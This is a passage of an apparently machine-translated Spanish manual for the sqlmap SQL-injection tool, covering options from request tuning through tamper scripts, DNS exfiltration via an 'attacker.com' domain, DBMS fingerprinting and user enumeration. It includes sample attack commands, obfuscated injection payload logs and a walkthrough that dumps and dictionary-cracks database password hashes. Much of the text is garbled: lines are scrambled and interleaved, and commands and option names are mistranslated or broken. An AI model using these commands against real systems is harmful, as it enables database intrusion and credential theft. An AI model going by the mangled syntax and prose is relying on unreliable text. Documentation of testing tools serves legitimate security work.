espera de HTTP (S) de conexión. Por defecto se vuelve a intentar hasta tres
veces .

Al azar cambiar el valor de p arámetro determinado


(s)
Opción: --randomize
Es posible especificar nombres de los parámetros cuyos valores desea cambiar
aleatoriamente duranteproporcionadas.
a los valores srcinales cada solicitud. Longitud y el tipo se mantienen de acuerdo
objetivos de filtrado de registro de proxy
proporcionado utilizando expresiones regulares
Opción: --scope
En lugar de utilizar todas las máquinas analizadas desde los registros de siempre
con la opción -l , puede especificar Python expresión regular válida para ser
utilizada para el filtrado de los deseados.
Ejemplo de sintaxis válida:
$ Python sqlmap.py -l burp.log --scope = "?. (Www) \ target \. (Com | net |
org)"

Evitar la sesión para ser destruidos d espués de


demasiadas peticiones infructuosas
Opciones: --safe-url , --safe-post , --safe-REQ y --safe-freq
A veces las aplicaciones web o en la tecnología de inspección entre destruye la
sesión si no se realiza un cierto número de solicitudes sin éxito. Esto puede ocurrir
durante la fase de detección de sqlmap o cualquiera de los tipos de inyección de
SQL ciegos cuando se explota. Razón por la cual es que la carga útil de SQL no
necesariamente produce una salido, por lo que podría plantear una señal para
bien de la gestión de sesión de aplicación o de la tecnología de inspección.
Para evitar esta limitación establecida por el destino, puede proporcionar ninguna
opción (o combinación de):
 --safe-url : Dirección URL para visitar con frecuencia durante la prueba.
 --safe post : HTTP POST para enviar datos a una dirección URL segura dado.
 --safe-requisito : Cargar y utilizar petición HTTP segura desde un archivo.
 --safe Frec : Prueba solicita entre dos visitas a un lugar seguro dado.

De esta manera, sqlmap visitará todos un número predefinido de solicitudes de un


cierto seguroURL sin realizar ningún tipo de inyección en contra de ella.

Desactive la codificación URL de valores de


parámetros
Cambiar: --skip-urlencode
Según la colocación de parámetro (por ejemplo, GET) su valor podría URL
codificada por defecto.En algunos casos, los servidores web de back-end no
siguen las normas RFC y requieren valores que se van a enviar en su forma no
codificada en bruto. Use --skip-urlencode en ese tipo de casos.

Bypass anti-CSRF protección


Opciones: --csrf token y --csrf-url
Muchos de los sitios incorporan la protección anti-CSRF en forma de fichas, los
valores de campos ocultos que se establecen al azar durante cada respuesta de
búsqueda. sqlmap automáticamente tratará de reconocer y derivación de este tipo
de protección, pero hay opciones --csrf token y --csrf-url que se puede utilizar
para afinar Furter. Opción --csrf token se puede utilizar para establecer el nombre
del valor oculto que contiene el token aleatorio. Esto es útil en los casos en los
sitios web utilizan nombres no estándar para tales campos. Opción --csrf-
url puede ser utilizado para la recuperación del valor del testigo de la dirección
URL arbitraria. Esto es útil si la URL de destino vulnerable no contiene el valor del
testigo es necesario, en primer lugar, pero es necesario extraerlo de alguna otra
ubicación.

Fuerza el uso de SSL / HTTPS


Cambiar: --force-ssl
En caso de que el usuario quiere forzar el uso de SSL / HTTPS hacia el objetivo,
se puede usar este parámetro. Esto puede ser útil en los casos en que las
direcciones URL están siendo recogidos por el uso de la opción --crawl o cuando
el registro de eructar se proporciona con la opción -l .

Evaluar el código Python personalizada durante


cada solicitud
Opción: --eval
En caso de que el usuario quiere cambiar (o) añadir nuevos valores de los
parámetros, la mayoría probablemente a causa de alguna dependencia conocida,
que puede proporcionar a sqlmap un código python personalizado con opción --
eval que serán evaluados antes de cada solicitud.
Por ejemplo:
$ Python sqlmap.py -u "http: //www.target. com/vuln.php id = 1 y = hash de
c4ca4238a0b9238 \?
20dcc509a6f75849b "--eval =" hashlib importación; picadillo = hashlib.md5 (id)
.hexdigest () "
Cada solicitud de ejecución se alcance el valor del parámetro GET reevaluar de
hash para contener un hash MD5 fresca digerir para el valor actual del
parámetro ID .

Mejoramiento

Estos conmutadores se pueden utilizar para optimizar el rendimiento de sqlmap.


optimización Bundle
Cambiar: -o
Este interruptor es un alias que establece implícitamente las siguientes opciones e
interruptores:
 --mantener viva
 --null conexión
 --threads = 3 si no se establece en un valor más alto.

Lea a continuación para más detalles acerca de cada interruptor.

la predicción de salida
Cambiar: --predict-salida
Este interruptor se utiliza en el algoritmo de inferencia estadística para la
predicción secuencial de caracteres de valor siendo recuperados. Tabla
estadística con los valores de carácter más prometedores está siendo construido
en base a los elementos que figuran en el txt / common-outputs.txt combinado
con el conocimiento de la enumeración de corriente utilizada. En caso de que el
valor se encuentra entre los valores de salida comunes, ya que el proceso avanza,
tablas de caracteres subsiguientes se estrecharon cada vez más. Si se usa en
combinación con la recuperación de las entidades DBMS comunes, como ocurre
con los nombres de tabla y sistema de privilegios, velocidad es significativo. Por
supuesto, puede editar el archivo de salidas de común acuerdo con sus
necesidades, si, por ejemplo, se observa patrones comunes en los nombres de
tabla de base de datos o similares.
Tenga en cuenta que este interruptor no es compatible con --threads interruptor.

Mantenimiento de conexiones HTTP


Cambiar: --keep-alive
Esto indica a sqlmap de usar (s) de conexiones HTTP persistentes.
Tenga en cuenta que este interruptor es incompatible con --proxy interruptor.

NULL conexión HTTP


Interruptor: --null conexión
Hay tipos especiales de petición HTTP que se pueden utilizar para recuperar el
tamaño de la respuesta HTTP sin conseguir el cuerpo HTTP. Este conocimiento
puede ser utilizado en la técnica de inyección ciega de
distinguir verdadera de falsas respuestas. Cuando se proporciona este interruptor,
sqlmap tratará de probar y explotar dos diferentes de conexión
NULL técnicas:Rango y CABEZA . Si cualquiera
servidor Web de destino, acelerar vendrá delde estosevidente
ahorro está soportado pordeelbanda
de ancho
utilizado.
Estas técnicas se detallan en el libro blanco de ruptura Actuaciones en Blind SQL
Injection - Tome 2 (ancho de banda) .
Tenga en cuenta que este interruptor es incompatible con el interruptor de sólo --
text .

HTTP (S) concurrente solicitudes


Opción: --threads
Es posible especificar el número máximo de HTTP concurrente (S) las solicitudes
que se permite
hereda tanto ensqlmap
su pro yhacer. Esta función se basa en múltiples hilos concepto y
sus contras.
Esta cuenta se aplica a los interruptores de fuerza bruta y cuando el ir a buscar los
datos se realiza a través de cualquiera de las técnicas de inyección SQL
ciegos. Para este último caso, sqlmap primero calcula la longitud de la salida de la
consulta en un solo hilo, a continuación, inicia el multi-threading. Cada hilo se
asigna para recuperar un carácter de la salida de la consulta. El hilo se termina
cuando se recupera ese personaje - se tarda hasta 7 HTTP (S) solicita con el
algoritmo de bisección aplicado en sqlmap.
El número máximo de solicitudes simultáneas se establece en 10 , por razones de
rendimiento y fiabilidad sitio.
Tenga en cuenta que esta opción no es compatible con el interruptor --predict-
salida .

Inyección
Estas opciones se pueden utilizar para especificar qué parámetros para probar,
proporcionar cargas útiles de inyección de secuencias de comandos
personalizados y manipulación opcionales.

comprobable parámetro (s)


Opciones: -p y --skip
Por defecto todas las pruebas sqlmap GET parámetros y la
POST parámetros. Cuando el valor de --level es> = 2 pone a prueba también
HTTP galleta de valores de cabecera. Cuando este valor es> = 3 se pone a
prueba también HTTP User-Agent y HTTP Referer valor de la cabecera de las
inyecciones SQL. Sin embargo, es posible especificar manualmente una lista
separada por comas de parámetro (s) que desea sqlmap a prueba. De este modo
evita la dependencia del valor de --level también.
Por ejemplo, para la prueba de GET parámetro de Identificación y para
HTTP User-Agent solamente, proporcionar -p "Identificación, user-agent" .
En caso de que el usuario quiere excluir ciertos parámetros de las pruebas, se
puede utilizar la opción --skip . Esto es especialmente útil en los casos cuando se
desea utilizar un valor más alto para --level y probar todos los parámetros
disponibles con exclusión de algunas de las cabeceras HTTP normalmente está
probando.
Por ejemplo, para omitir las pruebas de cabecera HTTP User-Agent y el
encabezado HTTPReferer en --level = 5 , proporcionar skip = "user-agent,
árbitro" .

punto de inyección URI


Hay casos especiales en los puntos de inyección está dentro del propio
URI. sqlmap no realiza ninguna prueba automática contra sendas URI, a no ser
señalado de forma manual para. Se tiene que especificar estos puntos de
inyección en la línea de comandos añadiendo un asterisco ( * ) después de cada
punto URI que desea sqlmap para probar y explotar una inyección SQL.
Esto es particularmente útil cuando, por ejemplo, de Apache servidor
web mod_rewrite módulo está en uso u otras tecnologías similares.
Un ejemplo de línea de comandos válida sería:
$ Python sqlmap.py -u "http: // TargetURL / parám1 / valor1 * / param2 / valor2
/"

Forzar el DBMS
Opción: --dbms
Por defecto sqlmap detecta automáticamente el sistema de gestión de base de
datos back-end de la aplicación web. sqlmap es totalmente compatible con los
siguientes sistemas de gestión de base de datos:
 MySQL
 Oráculo
 PostgreSQL
 Microsoft SQL Server
 acceso Microsoft
 SQLite
 Firebird
 Sybase
 SAP MaxDB
 DB2

Si por alguna razón sqlmap no puede detectar el DBMS de back-end vez a la


inyección de SQL ha sido identificado o, si se quiere evitar una fingeprint activo,
que puede proporcionar el nombre del programa de fondo a sí mismo (por
ejemplo, DBMS PostgreSQL ). Para MySQL y Microsoft SQL Server proporcionan
ellos, respectivamente, en forma de MySQL <versión> y Microsoft SQL Server
<versión> , donde <versión> es una versión válida para el DBMS; por
ejemplo 5.0 de MySQL y 2005 para Microsoft SQL Server.
En caso de que proporcione --fingerprint junto con --dbms , sqlmap sólo se
llevará a cabo la extensa huella digital para el sistema de gestión de base de datos
especificado solamente, lea a continuación para más detalles.
Tenga en cuenta que esta opción es no obligatorio y se recomienda utilizarlo sólo
si está absolutamente segurosobre el sistema de gestión de base de datos
back-end. Si no lo saben, y mucho sqlmap automáticamente las huellas digitales
para tí.

Forzar el nombre del sistema op erativo del sistema


de gestión de base de datos
Opción: --os
Por defecto sqlmap detecta automáticamente el sistema operativo subyacente
sistema de gestión de base de datos back-end de la aplicación web cuando esta
información es una dependencia de cualquier otro interruptor o facultad
prevista. Por el momento los sistemas operativos totalmente compatibles son:
 Linux
 ventanas

Es posible forzar el nombre del sistema operativo si ya sabe que para que sqlmap
evitará hacerlo en sí.
Tenga en cuenta que esta opción es no obligatorio y se recomienda utilizarlo sólo
si está absolutamente segurosobre el sistema de gestión de base de datos del
sistema operativo subyacente de fondo. Si no lo saben, y mucho sqlmap identifica
automáticamente por usted.

Forzar el uso de números grandes para invalidar


los valores
Cambiar: --invalid-bignum
En los casos en que sqlmap necesita para invalidar el valor del parámetro srcinal
(por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con
este interruptor es posible forzar el uso de valores enteros grandes para cumplir el
mismo objetivo (por ejemplo id = 99999999 ).

Forzar el uso de operaciones lógicas para invalidar

los valores
Cambiar: --invalid-lógica
En los casos en que sqlmap necesita para invalidar el valor del parámetro srcinal
(por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con
este interruptor es posible forzar el uso de operaciones booleanas para cumplir el
mismo objetivo (por ejemplo id = 13 y 18 = 19 ).

Forzar el uso de cadenas aleatorias para invalidar


los valores
Cambiar: --invalid cuerdas
En los casos en que sqlmap necesita para invalidar el valor del parámetro srcinal
(por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con
este interruptor es posible forzar el uso de cadenas aleatorias para cumplir el
mismo objetivo (por ejemplo id = akewmc ).

Desactivar el mecanismo de carga útil de colada


Cambiar: --no-yeso
Al recuperar los resultados, sqlmap utiliza un mecanismo en el que todas las
entradas se están fundidas a tipo de cadena y se sustituyen por un espacio en
blanco en caso de NULL valores. Que se está realizando para evitar estados
erróneos (por ejemplo, la concatenación de NULL valores con los valores de
cadena) y fácil el proceso de recuperación de datos en sí. Sin embargo, se han
reportado casos (por ejemplo, las versiones anteriores de MySQL DBMS), donde
este mecanismo necesario para ser convertido-off (uso de este parámetro) debido
a problemas con la recuperación de datos en sí (por ejemplo Ninguno valores son
devueltos).

Desactive cadena de mecanismo de escape


Cambiar: --no-fuga
En los casos en que sqlmap necesita utilizar (comilla simple delimitado) los valores
de cadena dentro de cargas útiles (por ejemplo, SELECT 'parametro' ), son
automáticamente se escaparon aquellos valores (por ejemplo, SELECT CHAR (102) +
CHAR (111) + CHAR (111) + CHAR (98) + CHAR (97) + CHAR (114) ). Eso se está
haciendo debido a dos cosas: la ofuscación del contenido de la carga útil y
prevenir posibles problemas con los mecanismos que escapan de consulta (por
ejemplo magic_quotes y / o mysql_real_escape_string ) en el servidor back-end. El
usuario puede utilizar este interruptor para apagarlo (por ejemplo, para reducir el
tamaño de carga útil).

Encargo de carga útil de inyección


Opciones: --prefix y --suffix
En algunas circunstancias
proporciona el parámetro
un sufijo específico vulnerable
que se anexa es explotable
a la carga sólo si elOtro
de la inyección. usuario
escenario donde estas opciones vienen en sí misma ofrece muy útil cuando el
usuario ya sabe que la sintaxis de consulta y quieren detectar y explotar la
inyección de SQL, proporcionando directamente un prefijo y un sufijo de carga útil
de inyección.
Ejemplo de código fuente vulnerables:
$ Query = "SELECT * FROM usuarios WHERE id = ( '" $ _GET. [' Id ']. "') LIMIT 0,
1";
Para detectar y explotar esta inyección SQL, puede dejar que sqlmap detectar
las fronteras(como en la combinación de prefijo y un sufijo de carga útil de SQL)
para que durante la fase de detección, o proporcionar por su cuenta.

Por ejemplo:
$ Python sqlmap.py -u "http: //192.168.136.131/sqlmap/mysql/get_str_brackets.php
\
? Id = 1 "Identificaci ón -p --prefix" ') "--suffix" Y (' abc '=' abc "
[...]
Esto dará lugar a todas las solicitudes sqlmap para terminar en una consulta de la
siguiente manera:
$ Query = "SELECT * FROM usuarios WHERE id = ( '1') <payload> Y ( 'abc' = 'abc')
LIMIT 0, 1";
Lo cual hace que la consulta sintácticamente correcta.
En este sencillo ejemplo, sqlmap podría detectar la inyección de SQL y se
aprovechan de ella sin necesidad de proporcionar límites personalizados, pero a
veces en aplicaciones del mundo real, es necesario proporcionarla cuando el
punto de inyección está dentro anidados UNIRSE consultas, por ejemplo.

Manipulación indebida de datos de inyección


Opción: --tamper
sqlmap en sí no hace la ofuscación de la carga útil enviada, a excepción de
cadenas entre comillas simples reemplazados por sus CHAR () la representación -
igual.
Esta opción puede ser muy útil y potente en situaciones donde hay un débil
mecanismo de validación de entrada entre el usuario y el sistema de gestión de
base de datos back-end. Este mecanismo usualmente es una rutina de validación
de entrada de desarrollo propio llamado por el código fuente de la aplicación, un
dispositivo IPS de nivel empresarial caro o un firewall de aplicaciones Web
(WAF). Todas las palabras de moda para definir el mismo concepto, implementado
de una manera diferente y que cuesta mucho dinero, por lo general.
Para aprovechar las ventajas de esta opción, se debe sqlmap con una lista
separadalapor
procesar comas
carga útil de las secuencias
y devolverlo de comandos
transformado. dedefinir
Puede manipulación y esto va a
sus propias
secuencias de comandos de manipulación indebida, utilizar los sqlmap del pisón
/ carpeta o editarlos, siempre y cuando ellos concatenar separados por comas
como valor de la opción --tamper (por ejemplo --tamper = "entre, randomcase" ).
El formato de una secuencia de comandos de manipulación válida es la siguiente:
# Importaciones necesarias
de lib.core.enums importar PRIORIDAD

# Definir cual es el orden de aplicación de los guiones de sabotaje contra


# la carga útil
__priority__ = PRIORIDAD . NORMAL

def manipular ( carga útil ):


'' '
Descripción de la secuencia de comandos de manipulación indebida
' ''
RetVal = carga útil

# Su código de manipulación de la carga útil srcinal,

# Devolver la carga útil manipulado


retorno RetVal
Puede comprobar las secuencias de comandos de manipulación válidos y
utilizables en lamanipulación indebida / directorio.
Ejemplo de MySQL contra un objetivo suponiendo que los > caracteres, espacios y
de capitalSELECT cadena están prohibidos:
$ Python sqlmap.py -u "http://192.168.136.131 /sqlmap/mysql/get_int.php?id=1" - \
sabotaje sabotaje / between.py, sabotaje / randomcase.py, sabotaje /
space2comment.py -v 3

[hh: mm: 03] [DEBUG] La limpieza de los parámetros de configuración


[Hh: mm: 03] [INFO] script de carga de sabotaje "entre"

[Hh: mm:
[Hh: mm: 03]
03] [INFO]
[INFO] la
script
cargadedecarga de sabotaje
la escritura 'randomcase'
de sabotaje 'space2comment'
[...]
[Hh: mm: 04] [INFO] prueba 'y ciego booleano de base - WHERE o HAVING'
[Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 1369 = 7706 / ** / Y / ** / (4092 = 4092
[Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 9267 = 9267 / ** / Y / ** / (4057 = 4057
[Hh: mm: 04] [CARGA] 1 / ** / y / ** / 950 = 7041
[...]
[Hh: mm: 04] Las pruebas de 'MySQL> [INFO] = 5.0 y basado en el error - cláusula
WHERE o HAVING
'
[Hh: mm: 04] [CARGA] 1 / ** / y / ** / (SELECT / ** / 9921 / ** / FROM (SELECT /
** / Count (*), CONC
AT (CHAR (58,117,113,107,58), (/ ** / (caso SELECT / ** / cuándo / ** / (9921 =
9921) / ** / then / ** / 1 /
** / Else / ** / 0 / ** / END)), Char (58,106,104,104,58) , suelos (rand (0) *
2)) x / ** / DE / ** / Información
rmation_schema.tables / ** / grupo / ** / BY / ** / x) a)
[Hh: mm: 04] [INFO] GET parámetro 'id' es 'MySQL> = 5.0 y basada en el error -

WHERE o
cláusula HAVING inyectable '
[...]
Detección
Estas opciones se pueden usar para personalizar la fase de detección.

Nivel
Opción: --level
Esta opción requiere un argumento que especifica el nivel de pruebas que desee
realizar. Haycinco niveles. El valor por defecto es 1 , donde se llevan a cabo
número
detalladoslimitado denúmero
para un pruebasmucho
(solicitudes). A lacargas
mayor de inversa, el nivel
útiles y losde 5 probará
límites (comomás
en
par de prefijo y el sufijo carga útil SQL). Las cargas utilizadas por sqlmap se
especifican en el archivo de texto XML / payloads.xml . Siguiendo las instrucciones
en la parte superior del archivo, si sqlmap pierde una inyección, debe ser capaz de
añadir su carga útil (s) para probar también!
No sólo esta opción afecta a que la carga útil sqlmap intentos, pero también por
los que se toman los puntos de inyección en el examen: GET y parámetros POST
están siempre a prueba, valores de cabecera de cookies HTTP se prueban desde
el nivel 2 / Referer valor encabezados 'y HTTP User-Agent se pone a prueba de
nivel 3 .
Con todo, más difícil es detectar una inyección SQL, cuanto mayor sea el --
level debe ajustarse.
Se recomienda encarecidamente a mayor sea este valor antes de informar a la
lista de correo que sqlmap no es capaz de detectar un cierto punto de inyección.

Riesgo
Opción: --risk
Esta opción requiere un argumento que especifica el riesgo de pruebas que desee
realizar. Haycuatro valores de riesgo. El valor por defecto es 1 , que es inofensiva
para la mayoría de los puntos de inyección SQL. Valor de riesgo 2 añade al nivel
predeterminado para las pruebas consulta pesada inyecciones SQL basados en el
tiempo y el valor 3 añade también O basados en pruebas de inyección SQL.
En algunos casos, como una inyección de SQL en una ACTUALIZACIÓN comunicado,
la inyección de un OR de carga útil con base puede conducir a una actualización de
todas las entradas de la tabla, lo que ciertamente no es lo que quiere el
atacante. Por esta razón y otras esta opción se ha introducido: el usuario tiene
control sobre qué cargas se hacen la prueba, el usuario puede elegir
arbitrariamente utilizar también los potencialmente peligrosos. De acuerdo con la
opción anterior, las cargas útiles utilizados por sqlmap se especifican en el archivo
de texto XML / payloads.xml y que son libres de editar y añadir su propietaria.
comparación de la página
Opciones: --string , --no-secuencia , --regexp y --code
Por defecto, la distinción de una verdadera consulta de un falso uno (concepto
áspera detrás de vulnerabilidades de inyección SQL ciega basada en booleanas)
se realiza mediante la comparación del contenido de la página peticiones
inyectado con el contenido de la página no se ha inyectado srcinales. No siempre
este concepto funciona porque a veces los cambios de contenido de página en
cada actualización del aun no inyectar algo, por ejemplo, cuando la página tiene
un contador, un banner de publicidad dinámica o cualquier otra parte del HTML
que hayan sido transformados de forma dinámica y puede cambiar en el tiempo,
no sólo en consecuencia, a la entrada del usuario. Para eludir este límite, sqlmap
se esfuerza
en por identificar
consecuencia. A veces estos
puedefragmentos deeso
fallar, es por los que
cuerpos de respuesta
el usuario puede y tratar
proporcionar una cadena ( --string opción), que debe estar presente en la página
srcinal (aunque no es un requisito) y en todas las páginas de consulta inyecta
cierto, pero que es no en el los falsos. En lugar de cadena estática, el usuario
puede proporcionar una expresión regular ( --regexp opción). Alternativamente, el
usuario puede proporcionar una (cadena --no-secuencia opción) que
es no presente en la página srcinal, y no en todas las páginas de consulta
inyectados cierto, pero aparece siempre en los falsos.
Tales datos es fácil para un usuario recuperar, simplemente tratar de inyectar en el
parámetro afectado un valor no válido y comparar manualmente el contenido de la
página srcinal (no inyectada) con el contenido de la página equivocada
inyectado. De esta manera la distinción se basa en la presencia de cadena o
expresión regular.
En los casos en que el usuario sabe que la distinción de una verdadera consulta de
un falsouno puede hacerse utilizando el código HTTP (por ejemplo, 200 para
la verdadera y 401 para elFalso ), que puede proporcionar esa información a sqlmap
(por ejemplo --code = 200 ).
Interruptores: --text-solo y --titles
En los casos en que el usuario sabe que la distinción de una verdadera consulta de
un falsouno puede hacerse utilizando título HTML (por
ejemplo Bienvenido a Verdadero y Forbidden deFalso ), que a su vez puede
convertirse en una comparación basada en el título utilizando los interruptores --
titles .
En los casos con gran cantidad de contenido activo (por ejemplo, secuencias de
comandos, se incrusta, etc.) en el cuerpo de las respuestas HTTP ', puede filtrar
páginas (switch --text de sólo ) simplemente por su contenido textual. De esta
manera, en un buen número de casos, se puede sintonizar automáticamente el
motor de detección.

técnicas
Estas opciones se pueden utilizar para ajustar el ensayo de técnicas específicas
de inyección SQL.
técnicas de inyección SQL para la prueba de
Opción: --technique
Esta opción se puede utilizar para especificar qué tipo de inyección SQL para
detectar si existen.Por defecto sqlmap pruebas para todos los tipos / técnicas que
soporta.
En determinadas situaciones, es posible que desee probar sólo para uno o pocos
tipos específicos de pensamiento de inyección SQL y aquí es donde esta opción
entra en juego.
Esta opción requiere un argumento. Tal argumento es una cadena compuesta por
cualquier combinación de B , E , U , S , T y Q caracteres, donde cada letra representa
una técnica diferente:
 B : ciega a base de Boole
 E : basado Error
 T basado en consultas Unión:
 S : Stacked consultas
 T : ciega basada en Tiempo
 Q consultas Inline:

Por ejemplo, puede proporcionar ES si desea probar y explotar únicos tipos de


inyección a base de errores y consultas SQL apilados. El valor por defecto
es BEUSTQ .
Observe que la cadena debe incluir consultas apilados carta técnica, S , cuando se
desea acceder al sistema de archivos, toma de control del sistema operativo o de
acceso a secciones del Registro de Windows.
Segundos para retrasar la respuesta de DBMS para
inyección SQL ciega basada en el tiempo
Opción: --time-sec
Es posible ajustar los segundos para retrasar la respuesta cuando las pruebas de
inyección SQL ciega basada en el tiempo, proporcionando la --time-sec opción
seguido por un número entero.Por defecto su valor se establece en 5 segundos .

Número de columnas de la inyección de consulta


SQL UNION
Opción: --union-cols
Por
a 10defecto sqlmapembargo,
columnas.Sin pruebas para
este consulta
rango seUNION técnica dehasta
puede aumentar inyección SQL con 1
50 columnas,
proporcionando una mayor --level valor. Ver el apartado correspondiente para
más detalles.
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyección
SQL con un rango específico de columnas, proporcionando la herramienta con la
opción --union-cols seguido de una serie de números enteros. Por ejemplo, 12-
16 significa que las pruebas de inyección de SQL consulta UNION mediante el uso
de 12 hasta 16 columnas.

Caracteres utilizar para la prueba de inyección de


consulta SQL UNION
Opción: --union-char
Por defecto sqlmap pruebas para la técnica de inyección SQL utilizando consulta
de unión NULLcarácter. Sin embargo, proporcionando un mayor --level valor
sqlmap se lleva a cabo pruebas también con un número aleatorio, porque hay
algunos casos donde las pruebas de esquina consulta de unión con NULL fallan,
mientras que con un número entero aleatorio tienen éxito.
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyección
SQL con un carácter específico utilizando la opción --union-char con valor de
carácter deseado (por ejemplo--union-char 123 ).

Tabla a utilizar en la inyección de la parte de


consulta SQL UNION
Opción: --union -desde
En algunos casos inyección UNIÓN consulta SQL hay una necesidad de hacer
cumplir el uso del nombre de la tabla válida y accesible en DE cláusula. Por
ejemplo,
inyecciónMicrosoft Access
de consulta SQL requiere el uso de
de un sindicato nodicha tabla.
va a ser Sin de
capaz proporcionar
realizar
correctamente (por ejemplo --union-from = usuarios ).

exfiltración ataque DNS


Opción: --dns-dominio
Exfiltración DNS ataque de inyección SQL se describe en el documento
de recuperación de datos de más de DNS de ataques de inyección SQL , mientras
que la presentación de su implementación en el interior sqlmap se puede
encontrar en las diapositivas exfiltración DNS mediante sqlmap .
Si el usuario es el control de una máquina registrada como un servidor de dominio
DNS (por ejemplo, dominio attacker.com ) se puede activar este ataque mediante
el uso de esta opción (por ejemplo --dns-dominio attacker.com ). Los requisitos
previos para que funcione es ejecutar un sqlmap con administrador privilegios (uso
del puerto privilegiado 53 ) y que una técnica normal (ciego) está disponible para
su explotación. Eso es únicamente con el propósito de este ataque es acelerar el
proceso de recuperación de datos en caso de que al menos una técnica ha sido
identificado (en el mejor ciego basado en el tiempo caso). En caso de que las
técnicas de consulta ciegos o unión a base de error están disponibles que se
saltará como esos son los preferidos por defecto.

ataque de segundo orden


Opción: --second orden
De segundo orden ataque de inyección SQL es un ataque en el que se muestra
resultado (s) de una carga útil se inyecta en una página vulnerables (reflejado) en
el otro (por ejemplo, el marco).Por lo general, eso está pasando por el
almacenamiento de base de datos de usuario proporcionó información en la
página inicial vulnerables.
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyección
SQL utilizando la opción --second orden con la dirección URL de la página web en
la que se muestran los resultados.

Huella dactilar
sistema de huella digital extensa base de datos de
gestión
Interruptores: -f o --fingerprint
Por defecto de huellas dactilares sistema de gestión de base de datos back-end
de la aplicación web es manejado automáticamente por sqlmap. Justo después de
que finalice la fase de detección y el usuario con el tiempo se le solicita con una
elección de qué parámetro vulnerable a utilizar más adelante, las huellas
dactilares sqlmap el sistema de gestión de base de datos back-end y continúa con
la inyección por saber qué sintaxis SQL, dialecto y consultas de usar para
proceder con el ataque dentro de los límites de la arquitectura de base de datos.
Si por alguna instancia que desea llevar a cabo una extensa base de datos de
huellas dactilares sistema de gestión basado en diversas técnicas como dialectos
SQL específicas y mensajes de error dentro de banda, puede proporcionar el
interruptor --fingerprint . sqlmap va a realizar muchas más solicitudes y las
huellas digitales de la versión exacta de DBMS y, cuando sea posible, el sistema
operativo, la arquitectura y el nivel de parche.
Si desea que la huella digital sea resultado aún más preciso, también puede
proporcionar el interruptor -b o --banner .

Enumeración
Estas opciones se pueden utilizar para enumerar el sistema de gestión de base de
datos de información, estructura de fondo y los datos contenidos en las tablas. Por
otra parte usted puede ejecutar sus propias sentencias SQL.
recuperar todos
Cambiar: --all
Este interruptor puede ser utilizado en situaciones en las que el usuario quiere
recuperar todo remotamente accesible mediante el uso de un único
conmutador. Esto no es recomendable ya que generará gran número de
peticiones de recuperación de datos útiles y inútiles.

Bandera
Cambiar: -b o --banner
La mayoría de los sistemas modernos de gestión de base de datos tienen una
función y / o una variable de entorno que devuelve la versión del sistema de
gestión de base de datos y, finalmente, detalles sobre su nivel de parche, el
sistema subyacente. Por lo general, la función es la versión () y la variable de
entorno se @@ version , pero esto puede variar dependiendo de los DBMS de
destino.
Ejemplo contra un objetivo de Oracle:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -
\
-bandera

[...]
[Xx: xx: 11] [INFO] bandera ir a buscar
La tecnología de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
back-end DBMS: Oracle

banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

usuario de la sesión
Cambiar: --current usuario
Con este interruptor es posible recuperar los usuarios del sistema de gestión de
base de datos que está llevando a cabo de manera efectiva la consulta en el
DBMS de back-end de la aplicación web.

base de datos actual


Cambiar: --current-db
Con este interruptor es posible recuperar el nombre de la base de datos del
sistema de gestión de base de datos que la aplicación web está conectado.

nombre de host del servidor


Cambiar: --hostname
Con este conmutador es posible para recuperar el nombre del sistema de gestión
de base de datos.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.136.131 /sqlmap/mysql/get_int.php?id=1" - \
nombre de host

[...]
[Xx: xx: 04] [INFO] ir a buscar el nombre de host del servidor
[Xx: xx: 04] [INFO] recuperado: debian-5.0-i386
nombre de host: 'debian-5.0-i386'

Detectar si el usuario de la sesión es un


administrador de la base
Cambiar: --es-dba
Es posible detectar si la base de datos de gestión de sesión del sistema de
usuario actual es un administrador de base de datos, también conocida como
DBA. sqlmap volverá Verdadero si lo es, viceversa Falso .

los usuarios del sistema de gestión de base de


datos de la lista
Switch: --users
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que
contiene información sobre los usuarios DBMS, es posible enumerar la lista de
usuarios.

Lista de crack y de gestión de base de datos de los


usuarios del sistema hashes de contraseñas
Switch: --passwords
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que
contiene información acerca de las contraseñas de los usuarios de DBMS, es
posible enumerar los hashes de contraseñas para cada usuario del sistema de
gestión de base de datos. sqlmap primero enumerar los usuarios, a continuación,
los diferentes hashes de contraseñas para cada uno de ellos.
Ejemplo frente a un objetivo de PostgreSQL:
$ Python sqlmap.py -u "http://192.168.136.13 1/sqlmap/pgsql/get_int.php?id=1" - \
contraseñas -v 1

[...]
DBMS PostgreSQL:
[hh: mm: 38] [info] ir a buscar a los usuarios de bases de datos hashes de
contraseñas
¿desea utilizar el ataque de diccionario sobre hashes de contraseñas
recuperadas? [Y / n / q] y
[Hh: mm: 42] [INFO] utilizando el método de hash: 'postgres_passwd'
¿cuál es la ubicación del diccionario? [/software/sqlmap/txt/wordlist.txt]
[Hh: mm: 46] [INFO] Diccionario de carga: '/software/sqlmap/txt/wordlist.txt'
Qué desea utilizar sufijos comunes contraseña? (Lento!) [S / N] n
[Hh: mm: 48] [INFO] a partir ataque de diccionario (postgres_passwd)
[Hh: mm: 49] [INFO] encontrado: 'testpass' para el usuario: 'testuser'
[Hh: mm: 50] [INFO] encontrado: 'testpass' para el usuario: 'postgres'
de gestión de base de datos de los usuarios del sistema hashes de contraseñas:
[*] Postgres [1]:
hash de la contraseña: md5d7d880f96044b72d0bba108ace96d1e4
contraseña de texto: testpass
[*] Usuarioprueba [1]:

hash de la de
contraseña contraseña: md599e5ea7a6f7c3269995cba3927fd0093
texto: testpass
No sólo enumeró sqlmap los usuarios DBMS y sus contraseñas, pero también
reconoce el formato de hash ser PostgreSQL, le pregunta al usuario si desea o no
probar los hashes contra un archivo de diccionario e identificó la contraseña de
texto para el postgres usuario, que es por lo general a lo largo de un DBA del
usuario aparte, usuarioprueba , contraseña.
